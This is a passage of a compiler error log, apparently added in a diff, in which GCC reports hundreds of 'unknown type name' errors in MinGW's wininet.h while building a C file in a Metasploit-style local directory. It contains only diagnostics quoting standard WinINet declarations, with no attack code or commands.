INTERNETAPI_(WINBOOL) HttpEndRequestA(HINTERNET hRequest,LPINTERNET_BUFFERSA lpBuffersOut,DWORD dwFlags,DWORD_PTR dwContext); + | ^~~~~~~~~~~~ +/usr/share/mingw-w64/include/wininet.h:1131:3: error: unknown type name ‘WINBOOL’ +/usr/share/mingw-w64/include/wininet.h:1132:3: error: unknown type name ‘EXTERN_C’ + 1132 | INTERNETAPI_(WINBOOL) HttpEndRequestW(HINTERNET hRequest,LPINTERNET_BUFFERSW lpBuffersOut,DWORD dwFlags,DWORD_PTR dwContext); + | ^~~~~~~~~~~~ +/usr/share/mingw-w64/include/wininet.h:1132:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ + 1132 | INTERNETAPI_(WINBOOL) HttpEndRequestW(HINTERNET hRequest,LPINTERNET_BUFFERSW lpBuffersOut,DWORD dwFlags,DWORD_PTR dwContext); + | ^~~~~~~~~~~~ +/usr/share/mingw-w64/include/wininet.h:1132:3: error: unknown type name ‘WINBOOL’ +/usr/share/mingw-w64/include/wininet.h:1133:3: error: unknown type name ‘EXTERN_C’ + 1133 | BOOLAPI HttpQueryInfoA(HINTERNET hRequest,DWORD dwInfoLevel,LPVOID lpBuffer,LPDWORD lpdwBufferLength,LPDWORD lpdwIndex); + | ^~~~~~~ +/usr/share/mingw-w64/include/wininet.h:1133:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ + 1133 | BOOLAPI HttpQueryInfoA(HINTERNET hRequest,DWORD dwInfoLevel,LPVOID lpBuffer,LPDWORD lpdwBufferLength,LPDWORD lpdwIndex); + | ^~~~~~~ +/usr/share/mingw-w64/include/wininet.h:1133:3: error: unknown type name ‘WINBOOL’ +/usr/share/mingw-w64/include/wininet.h:1134:3: error: unknown type name ‘EXTERN_C’ + 1134 | BOOLAPI HttpQueryInfoW(HINTERNET hRequest,DWORD dwInfoLevel,LPVOID lpBuffer,LPDWORD lpdwBufferLength,LPDWORD lpdwIndex); + | ^~~~~~~ +/usr/share/mingw-w64/include/wininet.h:1134:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ + 1134 | BOOLAPI HttpQueryInfoW(HINTERNET hRequest,DWORD dwInfoLevel,LPVOID lpBuffer,LPDWORD lpdwBufferLength,LPDWORD lpdwIndex); + | ^~~~~~~ +/usr/share/mingw-w64/include/wininet.h:1134:3: error: unknown type name ‘WINBOOL’ +/usr/share/mingw-w64/include/wininet.h:1155:3: error: unknown type name ‘EXTERN_C’ + 1155 | BOOLAPI InternetSetCookieA(LPCSTR lpszUrl,LPCSTR lpszCookieName,LPCSTR lpszCookieData); + | ^~~~~~~ +/usr/share/mingw-w64/include/wininet.h:1155:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ + 1155 | BOOLAPI InternetSetCookieA(LPCSTR lpszUrl,LPCSTR lpszCookieName,LPCSTR lpszCookieData); + | ^~~~~~~ +/usr/share/mingw-w64/include/wininet.h:1155:3: error: unknown type name ‘WINBOOL’ +/usr/share/mingw-w64/include/wininet.h:1156:3: error: unknown type name ‘EXTERN_C’ + 1156 | BOOLAPI InternetSetCookieW(LPCWSTR lpszUrl,LPCWSTR lpszCookieName,LPCWSTR lpszCookieData); + | ^~~~~~~ +/usr/share/mingw-w64/include/wininet.h:1156:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ + 1156 | BOOLAPI InternetSetCookieW(LPCWSTR lpszUrl,LPCWSTR lpszCookieName,LPCWSTR lpszCookieData); + | ^~~~~~~ +/usr/share/mingw-w64/include/wininet.h:1156:3: error: unknown type name ‘WINBOOL’ +/usr/share/mingw-w64/include/wininet.h:1157:3: error: unknown type name ‘EXTERN_C’ + 1157 | BOOLAPI InternetGetCookieA(LPCSTR lpszUrl,LPCSTR lpszCookieName,LPSTR lpszCookieData,LPDWORD lpdwSize); + | ^~~~~~~ +/usr/share/mingw-w64/include/wininet.h:1157:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ + 1157 | BOOLAPI InternetGetCookieA(LPCSTR lpszUrl,LPCSTR lpszCookieName,LPSTR lpszCookieData,LPDWORD lpdwSize); + | ^~~~~~~ +/usr/share/mingw-w64/include/wininet.h:1157:3: error: unknown type name ‘WINBOOL’ +/usr/share/mingw-w64/include/wininet.h:1158:3: error: unknown type name ‘EXTERN_C’ + 1158 | BOOLAPI InternetGetCookieW(LPCWSTR lpszUrl,LPCWSTR lpszCookieName,LPWSTR lpszCookieData,LPDWORD lpdwSize); + | ^~~~~~~ +/usr/share/mingw-w64/include/wininet.h:1158:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ + 1158 | BOOLAPI InternetGetCookieW(LPCWSTR lpszUrl,LPCWSTR lpszCookieName,LPWSTR lpszCookieData,LPDWORD lpdwSize); + | ^~~~~~~ +/usr/share/mingw-w64/include/wininet.h:1158:3: error: unknown type name ‘WINBOOL’ +/usr/share/mingw-w64/include/wininet.h:1159:3: error: unknown type name ‘EXTERN_C’ + 1159 | INTERNETAPI_(DWORD) InternetSetCookieExA(LPCSTR lpszUrl,LPCSTR lpszCookieName,LPCSTR lpszCookieData,DWORD dwFlags,DWORD_PTR dwReserved); + | ^~~~~~~~~~~~ +/usr/share/mingw-w64/include/wininet.h:1159:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘DWORD’ + 1159 | INTERNETAPI_(DWORD) InternetSetCookieExA(LPCSTR lpszUrl,LPCSTR lpszCookieName,LPCSTR lpszCookieData,DWORD dwFlags,DWORD_PTR dwReserved); + | ^~~~~~~~~~~~ +/usr/share/mingw-w64/include/wininet.h:1159:3: error: unknown type name ‘DWORD’ +/usr/share/mingw-w64/include/wininet.h:1160:3: error: unknown type name ‘EXTERN_C’ + 1160 | INTERNETAPI_(DWORD) InternetSetCookieExW(LPCWSTR lpszUrl,LPCWSTR lpszCookieName,LPCWSTR lpszCookieData,DWORD dwFlags,DWORD_PTR dwReserved); + | ^~~~~~~~~~~~ +/usr/share/mingw-w64/include/wininet.h:1160:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘DWORD’ + 1160 | INTERNETAPI_(DWORD) InternetSetCookieExW(LPCWSTR lpszUrl,LPCWSTR lpszCookieName,LPCWSTR lpszCookieData,DWORD dwFlags,DWORD_PTR dwReserved); + | ^~~~~~~~~~~~ +/usr/share/mingw-w64/include/wininet.h:1160:3: error: unknown type name ‘DWORD’ +/usr/share/mingw-w64/include/wininet.h:1161:3: error: unknown type name ‘EXTERN_C’ + 1161 | BOOLAPI InternetGetCookieExA(LPCSTR lpszUrl,LPCSTR lpszCookieName,LPSTR lpszCookieData,LPDWORD lpdwSize,DWORD dwFlags,LPVOID lpReserved); + | ^~~~~~~ +/usr/share/mingw-w64/include/wininet.h:1161:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ + 1161 | BOOLAPI InternetGetCookieExA(LPCSTR lpszUrl,LPCSTR lpszCookieName,LPSTR lpszCookieData,LPDWORD lpdwSize,DWORD dwFlags,LPVOID lpReserved); + | ^~~~~~~ +/usr/share/mingw-w64/include/wininet.h:1161:3: error: unknown type name ‘WINBOOL’ +/usr/share/mingw-w64/include/wininet.h:1162:3: error: unknown type name ‘EXTERN_C’ + 1162 | BOOLAPI InternetGetCookieExW(LPCWSTR lpszUrl,LPCWSTR lpszCookieName,LPWSTR lpszCookieData,LPDWORD lpdwSize,DWORD dwFlags,LPVOID lpReserved); + | ^~~~~~~ +/usr/share/mingw-w64/include/wininet.h:1162:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ + 1162 | BOOLAPI InternetGetCookieExW(LPCWSTR lpszUrl,LPCWSTR lpszCookieName,LPWSTR lpszCookieData,LPDWORD lpdwSize,DWORD dwFlags,LPVOID lpReserved); + | ^~~~~~~ +/usr/share/mingw-w64/include/wininet.h:1162:3: error: unknown type name ‘WINBOOL’ +/usr/share/mingw-w64/include/wininet.h:1163:3: error: unknown type name ‘EXTERN_C’ + 1163 | INTERNETAPI_(DWORD) InternetAttemptConnect(DWORD dwReserved); + | ^~~~~~~~~~~~ +/usr/share/mingw-w64/include/wininet.h:1163:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘DWORD’ + 1163 | INTERNETAPI_(DWORD) InternetAttemptConnect(DWORD dwReserved); + | ^~~~~~~~~~~~ +/usr/share/mingw-w64/include/wininet.h:1163:3: error: unknown type name ‘DWORD’ +/usr/share/mingw-w64/include/wininet.h:1164:3: error: unknown type name ‘EXTERN_C’ + 1164 | BOOLAPI InternetCheckConnectionA(LPCSTR lpszUrl,DWORD dwFlags,DWORD dwReserved); + | ^~~~~~~ +/usr/share/mingw-w64/include/wininet.h:1164:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ + 1164 | BOOLAPI InternetCheckConnectionA(LPCSTR lpszUrl,DWORD dwFlags,DWORD dwReserved); + | ^~~~~~~ +/usr/share/mingw-w64/include/wininet.h:1164:3: error: unknown type name ‘WINBOOL’ +/usr/share/mingw-w64/include/wininet.h:1165:3: error: unknown type name ‘EXTERN_C’ + 1165 | BOOLAPI InternetCheckConnectionW(LPCWSTR lpszUrl,DWORD dwFlags,DWORD dwReserved); + | ^~~~~~~ +/usr/share/mingw-w64/include/wininet.h:1165:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ + 1165 | BOOLAPI InternetCheckConnectionW(LPCWSTR lpszUrl,DWORD dwFlags,DWORD dwReserved); + | ^~~~~~~ +/usr/share/mingw-w64/include/wininet.h:1165:3: error: unknown type name ‘WINBOOL’ +In file included from /home/araout/.msf4/local/QwByG.c:4: +/usr/share/mingw-w64/include/wininet.h:1175:3: error: unknown type name ‘DWORD’ + 1175 | DWORD InternetAuthNotifyCallback(DWORD_PTR dwContext,DWORD dwReturn,LPVOID lpReserved); + | ^~~~~ +/usr/share/mingw-w64/include/wininet.h:1175:36: error: unknown type name ‘DWORD_PTR’ + 1175 | DWORD InternetAuthNotifyCallback(DWORD_PTR dwContext,DWORD dwReturn,LPVOID lpReserved); + | ^~~~~~~~~ +/usr/share/mingw-w64/include/wininet.h:1175:56: error: unknown type name ‘DWORD’ + 1175 | DWORD InternetAuthNotifyCallback(DWORD_PTR dwContext,DWORD dwReturn,LPVOID lpReserved); + | ^~~~~ +/usr/share/mingw-w64/include/wininet.h:1175:71: error: unknown type name ‘LPVOID’ + 1175 | DWORD InternetAuthNotifyCallback(DWORD_PTR dwContext,DWORD dwReturn,LPVOID lpReserved); + | ^~~~~~ +/usr/share/mingw-w64/include/wininet.h:1176:18: error: unknown type name ‘CALLBACK’ + 1176 | typedef DWORD (CALLBACK *PFN_AUTH_NOTIFY) (DWORD_PTR,DWORD,LPVOID); + | ^~~~~~~~ +/usr/share/mingw-w64/include/wininet.h:1179:5: error: unknown type name ‘DWORD’ + 1179 | DWORD cbStruct; + | ^~~~~ +/usr/share/mingw-w64/include/wininet.h:1180:5: error: unknown type name ‘DWORD’ + 1180 | DWORD dwOptions; + | ^~~~~ +/usr/share/mingw-w64/include/wininet.h:1181:5: error: unknown type name ‘PFN_AUTH_NOTIFY’ + 1181 | PFN_AUTH_NOTIFY pfnNotify; + | ^~~~~~~~~~~~~~~ +/usr/share/mingw-w64/include/wininet.h:1182:5: error: unknown type name ‘DWORD_PTR’ + 1182 | DWORD_PTR dwContext; + | ^~~~~~~~~ +In file included from /home/araout/.msf4/local/QwByG.c:4: +/usr/share/mingw-w64/include/wininet.h:1188:3: error: unknown type name ‘EXTERN_C’ + 1188 | INTERNETAPI_(DWORD) InternetConfirmZoneCrossing(HWND hWnd,LPSTR szUrlPrev,LPSTR szUrlNew,WINBOOL bPost); + | ^~~~~~~~~~~~ +/usr/share/mingw-w64/include/wininet.h:1188:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘DWORD’ + 1188 | INTERNETAPI_(DWORD) InternetConfirmZoneCrossing(HWND hWnd,LPSTR szUrlPrev,LPSTR szUrlNew,WINBOOL bPost); + | ^~~~~~~~~~~~ +/usr/share/mingw-w64/include/wininet.h:1188:3: error: unknown type name ‘DWORD’ +/usr/share/mingw-w64/include/wininet.h:1191:3: error: unknown type name ‘EXTERN_C’ + 1191 | INTERNETAPI_(WINBOOL) ResumeSuspendedDownload(HINTERNET hRequest,DWORD dwResultCode); + | ^~~~~~~~~~~~ +/usr/share/mingw-w64/include/wininet.h:1191:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ + 1191 | INTERNETAPI_(WINBOOL) ResumeSuspendedDownload(HINTERNET hRequest,DWORD dwResultCode); + | ^~~~~~~~~~~~ +/usr/share/mingw-w64/include/wininet.h:1191:3: error: unknown type name ‘WINBOOL’ +/usr/share/mingw-w64/include/wininet.h:1192:3: error: unknown type name ‘EXTERN_C’ + 1192 | INTERNETAPI_(DWORD) InternetErrorDlg(HWND hWnd,HINTERNET hRequest,DWORD dwError,DWORD dwFlags,LPVOID *lppvData); + | ^~~~~~~~~~~~ +/usr/share/mingw-w64/include/wininet.h:1192:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘DWORD’ + 1192 | INTERNETAPI_(DWORD) InternetErrorDlg(HWND hWnd,HINTERNET hRequest,DWORD dwError,DWORD dwFlags,LPVOID *lppvData); + | ^~~~~~~~~~~~ +/usr/share/mingw-w64/include/wininet.h:1192:3: error: unknown type name ‘DWORD’ +/usr/share/mingw-w64/include/wininet.h:1193:3: error: unknown type name ‘EXTERN_C’ + 1193 | INTERNETAPI_(DWORD) InternetConfirmZoneCrossingA(HWND hWnd,LPSTR szUrlPrev,LPSTR szUrlNew,WINBOOL bPost); + | ^~~~~~~~~~~~ +/usr/share/mingw-w64/include/wininet.h:1193:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘DWORD’ + 1193 | INTERNETAPI_(DWORD) InternetConfirmZoneCrossingA(HWND hWnd,LPSTR szUrlPrev,LPSTR szUrlNew,WINBOOL bPost); + | ^~~~~~~~~~~~ +/usr/share/mingw-w64/include/wininet.h:1193:3: error: unknown type name ‘DWORD’ +/usr/share/mingw-w64/include/wininet.h:1194:3: error: unknown type name ‘EXTERN_C’ + 1194 | INTERNETAPI_(DWORD) InternetConfirmZoneCrossingW(HWND hWnd,LPWSTR szUrlPrev,LPWSTR szUrlNew,WINBOOL bPost); + | ^~~~~~~~~~~~ +/usr/share/mingw-w64/include/wininet.h:1194:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘DWORD’ + 1194 | INTERNETAPI_(DWORD) InternetConfirmZoneCrossingW(HWND hWnd,LPWSTR szUrlPrev,LPWSTR szUrlNew,WINBOOL bPost); + | ^~~~~~~~~~~~ +/usr/share/mingw-w64/include/wininet.h:1194:3: error: unknown type name ‘DWORD’ +In file included from /home/araout/.msf4/local/QwByG.c:4: +/usr/share/mingw-w64/include/wininet.h:1305:5: error: unknown type name ‘DWORD’ + 1305 | DWORD dwStructSize; + | ^~~~~ +/usr/share/mingw-w64/include/wininet.h:1306:5: error: unknown type name ‘LPSTR’ + 1306 | LPSTR lpszSourceUrlName; + | ^~~~~ +/usr/share/mingw-w64/include/wininet.h:1307:5: error: unknown type name ‘LPSTR’ + 1307 | LPSTR lpszLocalFileName; + | ^~~~~ +/usr/share/mingw-w64/include/wininet.h:1308:5: error: unknown type name ‘DWORD’ + 1308 | DWORD CacheEntryType; + | ^~~~~ +/usr/share/mingw-w64/include/wininet.h:1309:5: error: unknown type name ‘DWORD’ + 1309 | DWORD dwUseCount; + | ^~~~~ +/usr/share/mingw-w64/include/wininet.h:1310:5: error: unknown type name ‘DWORD’ + 1310 | DWORD dwHitRate; + | ^~~~~ +/usr/share/mingw-w64/include/wininet.h:1311:5: error: unknown type name ‘DWORD’ + 1311 | DWORD dwSizeLow; + | ^~~~~ +/usr/share/mingw-w64/include/wininet.h:1312:5: error: unknown type name ‘DWORD’ + 1312 | DWORD dwSizeHigh; + | ^~~~~ +/usr/share/mingw-w64/include/wininet.h:1313:5: error: unknown type name ‘FILETIME’ + 1313 | FILETIME LastModifiedTime; + | ^~~~~~~~ +/usr/share/mingw-w64/include/wininet.h:1314:5: error: unknown type name ‘FILETIME’ + 1314 | FILETIME ExpireTime; + | ^~~~~~~~ +/usr/share/mingw-w64/include/wininet.h:1315:5: error: unknown type name ‘FILETIME’ + 1315 | FILETIME LastAccessTime; + | ^~~~~~~~ +/usr/share/mingw-w64/include/wininet.h:1316:5: error: unknown type name ‘FILETIME’ + 1316 | FILETIME LastSyncTime; + | ^~~~~~~~ +/usr/share/mingw-w64/include/wininet.h:1317:5: error: unknown type name ‘LPSTR’ + 1317 | LPSTR lpHeaderInfo; + | ^~~~~ +/usr/share/mingw-w64/include/wininet.h:1318:5: error: unknown type name ‘DWORD’ + 1318 | DWORD dwHeaderInfoSize; + | ^~~~~ +/usr/share/mingw-w64/include/wininet.h:1319:5: error: unknown type name ‘LPSTR’ + 1319 | LPSTR lpszFileExtension; + | ^~~~~ +/usr/share/mingw-w64/include/wininet.h:1320:5: error: expected specifier-qualifier-list before ‘__C89_NAMELESS’ + 1320 | __C89_NAMELESS union { + | ^~~~~~~~~~~~~~ +/usr/share/mingw-w64/include/wininet.h:1327:5: error: unknown type name ‘DWORD’ + 1327 | DWORD dwStructSize; + | ^~~~~ +/usr/share/mingw-w64/include/wininet.h:1328:5: error: unknown type name ‘LPWSTR’ + 1328 | LPWSTR lpszSourceUrlName; + | ^~~~~~ +/usr/share/mingw-w64/include/wininet.h:1329:5: error: unknown type name ‘LPWSTR’ + 1329 | LPWSTR lpszLocalFileName; + | ^~~~~~ +/usr/share/mingw-w64/include/wininet.h:1330:5: error: unknown type name ‘DWORD’ + 1330 | DWORD CacheEntryType; + | ^~~~~ +/usr/share/mingw-w64/include/wininet.h:1331:5: error: unknown type name ‘DWORD’ + 1331 | DWORD dwUseCount; + | ^~~~~ +/usr/share/mingw-w64/include/wininet.h:1332:5: error: unknown type name ‘DWORD’ + 1332 | DWORD dwHitRate; + | ^~~~~ +/usr/share/mingw-w64/include/wininet.h:1333:5: error: unknown type name ‘DWORD’ + 1333 | DWORD dwSizeLow; + | ^~~~~ +/usr/share/mingw-w64/include/wininet.h:1334:5: error: unknown type name ‘DWORD’ + 1334 | DWORD dwSizeHigh; + | ^~~~~ +/usr/share/mingw-w64/include/wininet.h:1335:5: error: unknown type name ‘FILETIME’ + 1335 | FILETIME LastModifiedTime; + | ^~~~~~~~ +/usr/share/mingw-w64/include/wininet.h:1336:5: error: unknown type name ‘FILETIME’ + 1336 | FILETIME ExpireTime; + | ^~~~~~~~ +/usr/share/mingw-w64/include/wininet.h:1337:5: error: unknown type name ‘FILETIME’ + 1337 | FILETIME LastAccessTime; + | ^~~~~~~~ +/usr/share/mingw-w64/include/wininet.h:1338:5: error: unknown type name ‘FILETIME’ + 1338 | FILETIME LastSyncTime; + | ^~~~~~~~ +/usr/share/mingw-w64/include/wininet.h:1339:5: error: unknown type name ‘LPWSTR’ + 1339 | LPWSTR lpHeaderInfo; + | ^~~~~~ +/usr/share/mingw-w64/include/wininet.h:1340:5: error: unknown type name ‘DWORD’ + 1340 | DWORD dwHeaderInfoSize; + | ^~~~~ +/usr/share/mingw-w64/include/wininet.h:1341:5: error: unknown type name ‘LPWSTR’ + 1341 | LPWSTR lpszFileExtension; + | ^~~~~~ +/usr/share/mingw-w64/include/wininet.h:1342:5: error: expected specifier-qualifier-list before ‘__C89_NAMELESS’ + 1342 | __C89_NAMELESS union { + | ^~~~~~~~~~~~~~ +/usr/share/mingw-w64/include/wininet.h:1352:5: error: unknown type name ‘FILETIME’ + 1352 | FILETIME ftExpires; + | ^~~~~~~~ +/usr/share/mingw-w64/include/wininet.h:1353:5: error: unknown type name ‘FILETIME’ + 1353 | FILETIME ftLastModified; + | ^~~~~~~~ +/usr/share/mingw-w64/include/wininet.h:1356:11: error: unknown type name ‘LONGLONG’ + 1356 | typedef LONGLONG GROUPID; + | ^~~~~~~~ +/usr/share/mingw-w64/include/wininet.h:1381:5: error: unknown type name ‘DWORD’ + 1381 | DWORD dwGroupSize; + | ^~~~~ +/usr/share/mingw-w64/include/wininet.h:1382:5: error: unknown type name ‘DWORD’ + 1382 | DWORD dwGroupFlags; + | ^~~~~ +/usr/share/mingw-w64/include/wininet.h:1383:5: error: unknown type name ‘DWORD’ + 1383 | DWORD dwGroupType; + | ^~~~~ +/usr/share/mingw-w64/include/wininet.h:1384:5: error: unknown type name ‘DWORD’ + 1384 | DWORD dwDiskUsage; + | ^~~~~ +/usr/share/mingw-w64/include/wininet.h:1385:5: error: unknown type name ‘DWORD’ + 1385 | DWORD dwDiskQuota; + | ^~~~~ +/usr/share/mingw-w64/include/wininet.h:1386:5: error: unknown type name ‘DWORD’ + 1386 | DWORD dwOwnerStorage[GROUP_OWNER_STORAGE_SIZE]; + | ^~~~~ +/usr/share/mingw-w64/include/wininet.h:1387:5: error: unknown type name ‘CHAR’ + 1387 | CHAR szGroupName[GROUPNAME_MAX_LENGTH]; + | ^~~~ +/usr/share/mingw-w64/include/wininet.h:1391:5: error: unknown type name ‘DWORD’ + 1391 | DWORD dwGroupSize; + | ^~~~~ +/usr/share/mingw-w64/include/wininet.h:1392:5: error: unknown type name ‘DWORD’ + 1392 | DWORD dwGroupFlags; + | ^~~~~ +/usr/share/mingw-w64/include/wininet.h:1393:5: error: unknown type name ‘DWORD’ + 1393 | DWORD dwGroupType; + | ^~~~~ +/usr/share/mingw-w64/include/wininet.h:1394:5: error: unknown type name ‘DWORD’ + 1394 | DWORD dwDiskUsage; + | ^~~~~ +/usr/share/mingw-w64/include/wininet.h:1395:5: error: unknown type name ‘DWORD’ + 1395 | DWORD dwDiskQuota; + | ^~~~~ +/usr/share/mingw-w64/include/wininet.h:1396:5: error: unknown type name ‘DWORD’ + 1396 | DWORD dwOwnerStorage[GROUP_OWNER_STORAGE_SIZE]; + | ^~~~~ +/usr/share/mingw-w64/include/wininet.h:1397:5: error: unknown type name ‘WCHAR’ + 1397 | WCHAR szGroupName[GROUPNAME_MAX_LENGTH]; + | ^~~~~ +In file included from /home/araout/.msf4/local/QwByG.c:4: +/usr/share/mingw-w64/include/wininet.h:1413:3: error: unknown type name ‘EXTERN_C’ + 1413 | BOOLAPI CreateUrlCacheEntryA(LPCSTR lpszUrlName,DWORD dwExpectedFileSize,LPCSTR lpszFileExtension,LPSTR lpszFileName,DWORD dwReserved); + | ^~~~~~~ +/usr/share/mingw-w64/include/wininet.h:1413:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ + 1413 | BOOLAPI CreateUrlCacheEntryA(LPCSTR lpszUrlName,DWORD dwExpectedFileSize,LPCSTR lpszFileExtension,LPSTR lpszFileName,DWORD dwReserved); + | ^~~~~~~ +/usr/share/mingw-w64/include/wininet.h:1413:3: error: unknown type name ‘WINBOOL’ +/usr/share/mingw-w64/include/wininet.h:1414:3: error: unknown type name ‘EXTERN_C’ + 1414 | BOOLAPI CreateUrlCacheEntryW(LPCWSTR lpszUrlName,DWORD dwExpectedFileSize,LPCWSTR lpszFileExtension,LPWSTR lpszFileName,DWORD dwReserved); + | ^~~~~~~ +/usr/share/mingw-w64/include/wininet.h:1414:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ + 1414 | BOOLAPI CreateUrlCacheEntryW(LPCWSTR lpszUrlName,DWORD dwExpectedFileSize,LPCWSTR lpszFileExtension,LPWSTR lpszFileName,DWORD dwReserved); + | ^~~~~~~ +/usr/share/mingw-w64/include/wininet.h:1414:3: error: unknown type name ‘WINBOOL’ +/usr/share/mingw-w64/include/wininet.h:1416:3: error: unknown type name ‘EXTERN_C’ + 1416 | BOOLAPI CommitUrlCacheEntryA(LPCSTR lpszUrlName,LPCSTR lpszLocalFileName,FILETIME ExpireTime,FILETIME LastModifiedTime,DWORD CacheEntryType,LPBYTE lpHeaderInfo,DWORD dwHeaderSize,LPCSTR lpszFileExtension,LPCSTR lpszOriginalUrl); + | ^~~~~~~ +/usr/share/mingw-w64/include/wininet.h:1416:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ + 1416 | BOOLAPI CommitUrlCacheEntryA(LPCSTR lpszUrlName,LPCSTR lpszLocalFileName,FILETIME ExpireTime,FILETIME LastModifiedTime,DWORD CacheEntryType,LPBYTE lpHeaderInfo,DWORD dwHeaderSize,LPCSTR lpszFileExtension,LPCSTR lpszOriginalUrl); + | ^~~~~~~ +/usr/share/mingw-w64/include/wininet.h:1416:3: error: unknown type name ‘WINBOOL’ +/usr/share/mingw-w64/include/wininet.h:1417:3: error: unknown type name ‘EXTERN_C’ + 1417 | BOOLAPI CommitUrlCacheEntryW(LPCWSTR lpszUrlName,LPCWSTR lpszLocalFileName,FILETIME ExpireTime,FILETIME LastModifiedTime,DWORD CacheEntryType,LPWSTR lpszHeaderInfo,DWORD dwHeaders,LPCWSTR lpszFileExtension,LPCWSTR lpszOriginalUrl); + | ^~~~~~~ +/usr/share/mingw-w64/include/wininet.h:1417:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ + 1417 | BOOLAPI CommitUrlCacheEntryW(LPCWSTR lpszUrlName,LPCWSTR lpszLocalFileName,FILETIME ExpireTime,FILETIME LastModifiedTime,DWORD CacheEntryType,LPWSTR lpszHeaderInfo,DWORD dwHeaders,LPCWSTR lpszFileExtension,LPCWSTR lpszOriginalUrl); + | ^~~~~~~ +/usr/share/mingw-w64/include/wininet.h:1417:3: error: unknown type name ‘WINBOOL’ +/usr/share/mingw-w64/include/wininet.h:1422:3: error: unknown type name ‘EXTERN_C’ + 1422 | BOOLAPI RetrieveUrlCacheEntryFileA(LPCSTR lpszUrlName,LPINTERNET_CACHE_ENTRY_INFOA lpCacheEntryInfo,LPDWORD lpcbCacheEntryInfo,DWORD dwReserved); + | ^~~~~~~ +/usr/share/mingw-w64/include/wininet.h:1422:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ + 1422 | BOOLAPI RetrieveUrlCacheEntryFileA(LPCSTR lpszUrlName,LPINTERNET_CACHE_ENTRY_INFOA lpCacheEntryInfo,LPDWORD lpcbCacheEntryInfo,DWORD dwReserved); + | ^~~~~~~ +/usr/share/mingw-w64/include/wininet.h:1422:3: error: unknown type name ‘WINBOOL’ +/usr/share/mingw-w64/include/wininet.h:1423:3: error: unknown type name ‘EXTERN_C’ + 1423 | BOOLAPI RetrieveUrlCacheEntryFileW(LPCWSTR lpszUrlName,LPINTERNET_CACHE_ENTRY_INFOW lpCacheEntryInfo,LPDWORD lpcbCacheEntryInfo,DWORD dwReserved); + | ^~~~~~~ +/usr/share/mingw-w64/include/wininet.h:1423:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ + 1423 | BOOLAPI RetrieveUrlCacheEntryFileW(LPCWSTR lpszUrlName,LPINTERNET_CACHE_ENTRY_INFOW lpCacheEntryInfo,LPDWORD lpcbCacheEntryInfo,DWORD dwReserved); + | ^~~~~~~ +/usr/share/mingw-w64/include/wininet.h:1423:3: error: unknown type name ‘WINBOOL’ +/usr/share/mingw-w64/include/wininet.h:1424:3: error: unknown type name ‘EXTERN_C’ + 1424 | BOOLAPI UnlockUrlCacheEntryFileA(LPCSTR lpszUrlName,DWORD dwReserved); + | ^~~~~~~ +/usr/share/mingw-w64/include/wininet.h:1424:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ + 1424 | BOOLAPI UnlockUrlCacheEntryFileA(LPCSTR lpszUrlName,DWORD dwReserved); + | ^~~~~~~ +/usr/share/mingw-w64/include/wininet.h:1424:3: error: unknown type name ‘WINBOOL’ +/usr/share/mingw-w64/include/wininet.h:1425:3: error: unknown type name ‘EXTERN_C’ + 1425 | BOOLAPI UnlockUrlCacheEntryFileW(LPCWSTR lpszUrlName,DWORD dwReserved); + | ^~~~~~~ +/usr/share/mingw-w64/include/wininet.h:1425:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘WINBOOL’ + 1425 | BOOLAPI UnlockUrlCacheEntryFileW(LPCWSTR lpszUrlName,DWORD dwReserved); + | ^~~~~~~ +/usr/share/mingw-w64/include/wininet.h:1425:3: error: unknown type name ‘WINBOOL’ +/usr/share/mingw-w64/include/wininet.h:1426:3: error: unknown type name ‘EXTERN_C’ + 1426 | INTERNETAPI_(HANDLE) RetrieveUrlCacheEntryStreamA(LPCSTR lpszUrlName,LPINTERNET_CACHE_ENTRY_INFOA lpCacheEntryInfo,LPDWORD lpcbCacheEntryInfo,WINBOOL fRandomRead,DWORD dwReserved); + | ^~~~~~~~~~~~ +/usr/share/mingw-w64/include/wininet.h:1426:3: error: expected ‘=’, ‘,’, ‘;’, ‘asm’ or ‘__attribute__’ before ‘HANDLE’ + 1426 | INTERNETAPI_(HANDLE) 